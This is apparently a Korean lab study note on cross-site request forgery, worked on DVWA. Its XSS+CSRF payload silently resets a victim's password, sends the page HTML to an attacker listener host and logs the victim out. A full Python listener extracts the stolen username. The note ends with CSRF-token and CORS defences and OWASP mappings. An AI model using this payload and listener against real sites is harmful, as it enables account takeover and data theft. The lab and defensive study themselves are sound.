Infosec403

csrf.txt

14.33 KB · application/javascript · 업로드 2026-07-16 07:10

CSRF: Cross-Site Request Forgery

CSRF란 무엇인가?
 -> 사이트 간 요청 위조

  => 사용자가 의도하지 않은 행동(요청. 즉 특정 URL로 HTTP 요청을 보내게 하는 것)을, 사용자가 하게 만드는 것

 --> '사이트 간' -> XSS(Cross-Site Scripting)

 ==> XSS <-> CSRF는 방법의 차이일 뿐, 사용자(Client)'를 표적으로 삼는다는 공통점

XSS는 유저의 브라우저에서 특정 자바스크립트 코드가 실행되게 하는 것 -> 자바스크립트로 할 수 있는 모든 나쁜 짓 가능
 (저번에 했던)쿠키 및 세션 ID 탈취, 키로거(Keylogger) 탑재(사용자가 키보드로 입력하는 모든값 해커 서버로 전송)

CSRF는 유저가 의도하지 않은 요청을 하게 만드는 것 -> 유저의 신원을 도용해 할 수 있는 모든 나쁜 짓 가능
 주식 거래 사이트의 매도/매수 신청이나, 송금 신청, 비밀번호 변경 요청 등등..


XSS는 악성 코드 실행이 목표,
CSRF는 유저 권한 도용이 목표
 ===> CSRF는 세션 정보가 담긴 쿠키를 탈취하는 데 목적이 있는 것이 아닙니다. 이미 피해자 브라우저에 구워져 있는 유효한 쿠키와 세션을 '그대로 이용'할 뿐


DVWA의 CSRF 소스코드 보기
 -> 페이지의 의도된 기능: 이 코드는 패스워드 변경 신청을 받아서, 로그인된 유저의 비밀번호를 바꿔주는 코드임
    * 이때, GET 방식을 사용하기에 브라우저의 URL 창에 변경 요청 시 발송되는 파라미터들이 노출되는 것도 포인트임
    * GET요청으로 파라미터를 보낼 때는 주소창에 노출되지만, POST 요청으로 파라미터를 보낼 때는 HTTP Request Body에 숨겨져서 보내짐.
      (HTTPS 암호화 안하면 패킷 까보면 나오긴함)
 --> 취약한 점: CSRF Token 검증/이전 패스워드 검증 등, 별도의 재검증 과정이 없음(은행 앱에서 로그인시/송금시 둘 다 인증을 요구하는 것과 대비됨)
      * PHP 세션(쿠키)만 가지고 있으면, 해당 유저가 맞다고 여기게 됨
 ---> 결과적으로, 로그인 된 상태+특정 URL에 접속하면 비밀번호가 변경되는 것
 ----> CSRF 취약점

그렇다면 공격자는, 어떤 방법을 취하나?
 크게 2가지임
  1. 특정 링크를 누르게 유도 -> 사용자가 생각한 것과(표현 다듬기) 다른 사이트로의 링크를 걸어놓음
  2. 특정 페이지에 접속만 해도 해당 요청이 가도록 HTML 태그 심어놓기
    - img 태그 등 src를 가져오기 위한 요청을 하게 유도

사용자가 1. 로그인 상태이고, 2. 로그인 된 브라우저와 동일한 브라우저를 사용해 해당 취약점에 걸려들어야 함

결국 사용자가 인지하지 못하는 요청이 웹사이트로 전송되고 수행됨.
이때 웹사이트는 요청을 받고 실행할 뿐이므로, 사용자가 의도했는지 의도하지 않았는지 모른다..
웹 서버는 들어온 요청이 '사용자의 의지에 의한 것'인지, 아니면 '브라우저에 숨겨진 악성 스크립트에 의한 것'인지 스스로 구분할 능력이 없다


실습: 공격자 입장에서, 게시판을 이용해 CSRF 공격을 하고, 특정 사용자의 비밀번호를 바꿔 보자
     ! 유의해야 할 점: 공격자는 해당 공격이 성공했는지 여부를 전혀 알 수 없다.
                     --> 즉, 유저가 특정 요청을 하게 만드는 것(인지하지 못한 채로)이 목적이다.
                          계정 탈취에 목적이 있다면 다른 취약점과 연계하는 것이 필요하다.
1. 정상적으로 비밀번호 변경 요청을 해보자
 -> URL창에 파라미터 보이는 것 확인(HTTP GET의 특성)
 -> burpsuit 켜고, 브라우저 프록시 설정 해서, 비밀번호 변경요청 했을 때 날아가는 패킷 Request 보자 -> 메모장에 붙여넣어놓기(burpsuite, url 둘 다)
 -> 프록시 잠깐 끄기
 -> 이후 CSRF 취약점 이용해서, XSS(Stored) 게시판에 글 써보자(<a> </a> 태그)
 -> 이후 다시 프록시 키고, 글에 있는 링크 클릭해보자 -> 아까랑 정확히 같은 요청이 날아가는 것 확인
   ---> 내가 비밀번호 변경 요청을 한다는 것을 인지한 상태인가? : 아니오. 나는 링크만 클릭했음
 
 --> 조금 변형하면 개 억까도 가능: img태그에 src에 URL 넣기
     --> 웹사이트 접속하자마자 링크 클릭 없이도 요청 날려버림



< 여기서부터 XSS와 연계해, 유저의 계정명 탈취+비밀번호 변경 후 로그아웃 시키는 XSS+CSRF 적용된 파이썬 코드 짜 보겠다 >
공격자 입장에서 원하는 것:
 1. 사용자의 계정을 탈취하는 것을 목표로 한다 -> 실제 계정 주인은 계정에 접근 불가, 해커는 접근 가능
     - 사용자의 비밀번호를 변경한다(hacked123)
     - 비밀번호가 변경된 사용자의 계정명(ID를 알아낸다)
 2. 사용자가 별도의 링크 클릭 없이, 게시판에 들어오는 것만으로 탈취가 성공해야 한다
 3. 사용자는 자신의 계정이 탈취+비밀번호 변경 되었다는 것을 몰라야 한다
 4. 사용자는 계정이 탈취된 후 로그아웃 되어야 한다

 ---> XSS는 사용자의 계정명(ID)을 알아내는 용도로, CSRF는 사용자의 비밀번호 변경과 로그아웃을 하는 데 사용할것임

=========<<< final payload>>>======


<img src="http://172.16.1.4/dvwa/vulnerabilities/csrf/?password_new=hacked123&password_conf=hacked123&Change=Change" style="display:none;">

<script>setTimeout(function(){var x=new XMLHttpRequest();x.open("POST","http://172.16.1.5:4444/leak");x.send("data="+encodeURIComponent(document.body.innerHTML));location.href="http://172.16.1.4/dvwa/logout.php"},1000);</script>

Ⅰ. [파트 1] CSRF 공격: 이미지 태그 우회 (<img>)
"사용자가 모르게 화면 뒤에서 비밀번호 변경 요청을 발생시킵니다."
동작 원리: 브라우저는 HTML 내에 <img> 태그가 있으면, 페이지가 로드되자마자 이미지 파일을 보여주기 위해 src 주소로 자동으로 요청을 보냅니다.
보안 취약점 악용: DVWA Low 단계는 비밀번호 변경을 검증 없이 GET 요청으로 처리하기 때문에, 
              브라우저는 이 src 주소를 "정상적인 이미지 다운로드 요청"으로 인식하고 자동으로 비밀번호를 hacked123으로 변경하는 요청을 서버로 날립니다.
스텔스 기능 (style="display:none;"): 이미지가 화면에 깨진 박스로 표시되면 피해자가 해킹을 인지하므로, 
                                   CSS 스타일로 크기를 없애거나 숨겨서 사용자가 눈치채지 못하게 만듭니다.

Ⅱ. [파트 2] XSS 공격: 정보 수집 및 마무리 (<script>)
"비밀번호를 바꿨으니, 이제 누구의 비밀번호를 바꿨는지 알아내고 세션을 끊어버립니다."
지연 실행 (setTimeout(..., 1000)): 파트 1의 CSRF 비밀번호 변경 요청이 네트워크를 타고 처리될 수 있도록 1초(1000ms)의 대기 시간을 의도적으로 부여합니다. 
                                 이 딜레이가 없으면 패스워드가 바뀌기 전에 페이지가 먼저 이동해 버리는 레이스 컨디션(Race Condition)이 발생할 수 있습니다.
정보 유출 (XMLHttpRequest & innerHTML):비동기 HTTP 요청(AJAX) 객체를 생성하여, 현재 피해자 브라우저에 띄워진 웹페이지의 
                                      전체 소스 코드(document.body.innerHTML)를 통째로 긁어옵니다. 
                                      이 데이터는 URL 인코딩(encodeURIComponent) 처리되어 공격자의 
                                       파이썬 리스너 서버(http://172.16.1.5:4444/leak)로 전송됩니다.
세션 파기 및 흔적 은폐 (location.href): 데이터 전송이 끝나는 즉시 피해자의 브라우저를 강제로 로그아웃 페이지(logout.php)로 이동시킵니다.

공격자 관점의 이득: 피해자의 세션을 만료시킴으로써 피해자가 뒤늦게 비밀번호 변경 창을 다시 뒤적거리거나 이상 행동을 감지하지 못하게 만들고 자연스럽게 튕겨 나가게 만듭니다.


============<<< python script >>>================


넷캣으로 포트 열고 대기했던 실습 -> 이것도 비슷한 코드(코드 따로 설명하는게 별로 중요하지 않음. 동작만 이해하고 넘어가자)

 -> 이건 사용자의 세션ID 대신, 사용자의 현재 페이지 HTML을 긁어옴
 --> 서버에서는 전송받은 HTML을 파싱해서, 사용자의 ID 알아냄


import urllib.parse
import re
from http.server import BaseHTTPRequestHandler, HTTPServer

ATTACKER_PASSWORD = "hacked123"
PORT = 4444

class AttackerListener(BaseHTTPRequestHandler):
    def do_POST(self):
        if self.path == "/leak":
            # 1. POST 데이터 수신 및 URL 디코딩
            content_length = int(self.headers['Content-Length'])
            post_data = self.rfile.read(content_length).decode('utf-8')
            parsed_data = urllib.parse.parse_qs(post_data)
            html_body = parsed_data.get('data', [''])[0]

            # 2. [정밀 파싱] 제공해주신 구조 타겟팅 정규식
            # <em>Username:</em> 태그가 끝난 직후, 뒤따라오는 공백/줄바꿈/따옴표 등을 건너뛰고
            # 순수 계정명(admin 등)만 낚아챕니다.
            username = "Unknown"
            
            # 패턴 설명:
            # - <em>Username:</em> 영역 매칭
            # - [^A-Za-z0-9]* : 태그가 끝난 뒤 유저명 앞에 낄 수 있는 따옴표("), 공백, 줄바꿈 등을 전부 무시
            # - ([A-Za-z0-9_-]+) : 실제 계정명만 그룹으로 추출
            match = re.search(r"<em>Username:</em>[^A-Za-z0-9]*([A-Za-z0-9_-]+)", html_body, re.IGNORECASE)
            
            if match:
                username = match.group(1).strip()

            # 3. 결과 콘솔 출력
            print("\n" + "="*50)
            print(f"[★] 공격 성공 - 피해자 정보 수집 완료")
            print(f"[+] 탈취한 계정명: {username}")
            print(f"[+] 변경된 비밀번호: {ATTACKER_PASSWORD}")
            print(f"[➔] 결과: {username}:{ATTACKER_PASSWORD} 로 변경 완료!")
            print("="*50 + "\n")
            
            # CORS 에러 방지 응답
            self.send_response(200)
            self.send_header("Access-Control-Allow-Origin", "*")
            self.end_headers()
            self.wfile.write(b"OK")

    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")
        self.end_headers()

def run_server():
    server_address = ('', PORT)
    httpd = HTTPServer(server_address, AttackerListener)
    print(f"[*] 공격자 리스너 서버 가동 중... (Port: {PORT})")
    print("[*] innerHTML 페이로드로부터 데이터를 대기하고 있습니다.\n")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n[-] 서버를 종료합니다.")
        httpd.server_close()

if __name__ == "__main__":
    run_server()




CSRF 토큰이란? 무엇인가? -> 이것에 대한 설명도 해야함(대비책)

 CSRF Token: 사용자 브라우저와 웹 서버만 나누어 가진 일회용 비밀 암호문(난수)
   -> 사용자가 입력 폼이 들어간 웹사이트를 요청할 때, 일회용으로 사용할 특정 난수를 발행해 웹사이트에 몰래 심어준다

   <form action="/change_password" method="POST">
     <input type="hidden" name="user_token" value="ab83f9821cde838d172ae39" />
     <input type="password" name="password_new">
     <input type="submit" value="Change">
   </form>

   --> 이후 요청 시 해당 난수도 같이 넣어 요청하게 한다
   ---> 난수 일치 시 요청 처리, 아니라면 요청 처리 안 함
   ----> OTP 자동으로 발급해, 웹사이트에 끼워넣어주는 것
   -----> 하지만 계정명을 탈취했던 것 같이, XSS등과 연계하면 CSRF Token 기법도 뚫리긴 함(OWASP도 언급함)

  CSRF 공격이 통했던 이유: 비밀번호 변경 요청의 규격이 항상 동일하여 예측 가능했기 때문(URL 복붙 가능했음)
    --> CSRF 토큰을 사용하면 요청(POST)의 규격이 항상 달라져 예측할 수 없다.
    ----> 결국 서버단 개발자들이 신경써줘야 하는 문제..


주정통이나 OWASP(2021) 관련 항목 읊으며 끝내자

CORS에 대한설명
 -> Cross-Site Resource Sharing
 --> 본 실습에서는 공격자 서버와 DVWA 서버(웹서버)의 Origin(도메인)이 다름
 ---> SOP(Same-Origin Policy): A사이트에서 실행된 스크립트는, B웹사이트의 데이터에 요청을 보낼 수 없다
 ----> 단, CORS는 요청을 받아들이는 서버가 정책을 정하는 것이므로, 해커가 리스너를 열어두는 경우는 어쩔 수 없다. (실습 공격같은거 막으려면 게시글 입력값 필터링 등으로 막아줘야 함)
 -----> 
ef do_OPTIONS(self):
    self.send_response(200)
    self.send_header("Access-Control-Allow-Origin", "*")  # 어떤 사이트든 환영 (*)
    self.send_header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
    self.send_header("Access-Control-Allow-Headers", "Content-Type")
    self.end_headers()

# 2. 실제 데이터(POST)를 받을 때도 브라우저가 차단하지 못하도록 허용 헤더를 얹어서 응답함
self.send_header("Access-Control-Allow-Origin", "*")

리스너 코드에 이 부분이 CORS 다 허용하겠다고 의도적으로 열어둔 것


주정통 CF - 크로스사이트 요청 위조
주정통 XS - 크로스사이트 스크립팅 : 오늘 실습에서는 정보수집(유저의 계정 ID)에 사용됨
주정통 AI - 불충분한 인증 절차 : 세션만 있으면 비밀번호 변경 가능했다(기존 비밀번호 입력받기 같은 이중인증 없음)

OWASP 2021 A01 - Broken Access Control : 주정통 AI와 연계됨. CWE-352: Cross-Site Request Forgery
OWASP 2021 A07 - Identification and Authentication Failures : 주정통 AI와 연계됨.